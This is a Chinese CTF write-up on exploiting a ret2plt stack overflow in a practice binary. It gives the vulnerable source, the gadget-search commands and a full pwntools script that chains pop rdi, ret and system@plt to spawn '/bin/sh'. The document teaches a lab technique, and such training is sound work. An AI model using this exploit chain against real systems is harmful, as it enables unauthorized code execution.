【pwn-栈溢出】— ret2plt

ret2plt

0x1、程序信息

描述 内容
程序名称 ret2plt
程序平台 linux
程序来源 ctf_wiki
CPU架构 amd64
libc版本 2.31
利用手法 ret2plt
系统版本 Ubuntu 20.04 LTS
下载地址 https://wwnd.lanzoue.com/ig40I0qem4li

0x2、检测保护

1.使用checksec检测到程序开启了NX保护,堆、栈、BSS段不可执行

【pwn-栈溢出】— ret2plt_第1张图片

0x3、静态分析

1.直接看实验中给出的源码ret2plt.c

#include 
#include 
#include 

char name[16];

int main()
{
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  char buf[16];
  system("echo What is your name?");
  read(0, name, 0x10);
  puts("Say something: ");
  read(0, buf, 0x40);
  return 0;
}

2.程序流程分析

  • 第1次接收0x10个字节的输入存到全局变量name
  • 第2将接收0x40个字节的输入存到局部变量buf里,但buf只有16字节,所以会产生栈溢出

3.利用思路

  • 第1次输入时将'/bin/sh'字符串写到全局变量name
  • 第2次输入时通过构造好的gadget写到buf中去调用执行system

0x4、ROP chain设计

1.Rop chain设计图解

【pwn-栈溢出】— ret2plt_第2张图片

2.在栈中填入ROP链接和system的plt所需的参数,利用系统调用getshell。

0x5、收集gadget片段

1.使用ROPgadget加上egrep命令过滤出pop rdi ; ret

ret2plt ROPgadget --binary ret2plt |egrep "rdi"

2.查看全局变量name的地址

objdump -d -M intel ret2plt |grep name

3.查找ret地址


疑问:为什么要加这个ret指令?

  • 执行system时,里面会用到xmm的寄存器,该寄存器为128位,就要求stack0x10对齐
  • 如果stack是0x08这样8字节对齐时,运行到movaps xmmword ptr [rsp + 0x50] 时就无法通过,并抛出异常,增加这条ret语句就是为了栈对齐。
【pwn-栈溢出】— ret2plt_第3张图片

4.查找system@plt地址

0x6、编写利用脚本

1.完整exp脚本

#!/usr/bin/python3 
from pwn import *

io = process('./ret2plt')
elf = ELF('./ret2plt')
ret_addr = 0x4004fe
pop_rdi = 0x400733
sh_addr = elf.symbols['name']
system_plt = elf.plt['system']

io.sendlineafter('name?',b'/bin/sh\x00')
payload = flat([b'a'*0x18,p64(pop_rdi),p64(sh_addr),p64(ret_addr),p64(system_plt)])
io.sendlineafter(": ",payload)
io.interactive()

2.脚本运行时的堆栈图

【pwn-栈溢出】— ret2plt_第4张图片

0x7、参考引用

使用ret2plt绕过libc安全区_海枫的博客-CSDN博客


战队官网:https://www.edisec.net/

战队CTF靶场:https://ctf.edisec.net/#/index

战队新社区:https://bbs.edisec.net

【pwn-栈溢出】— ret2plt_第5张图片

你可能感兴趣的:(网络安全)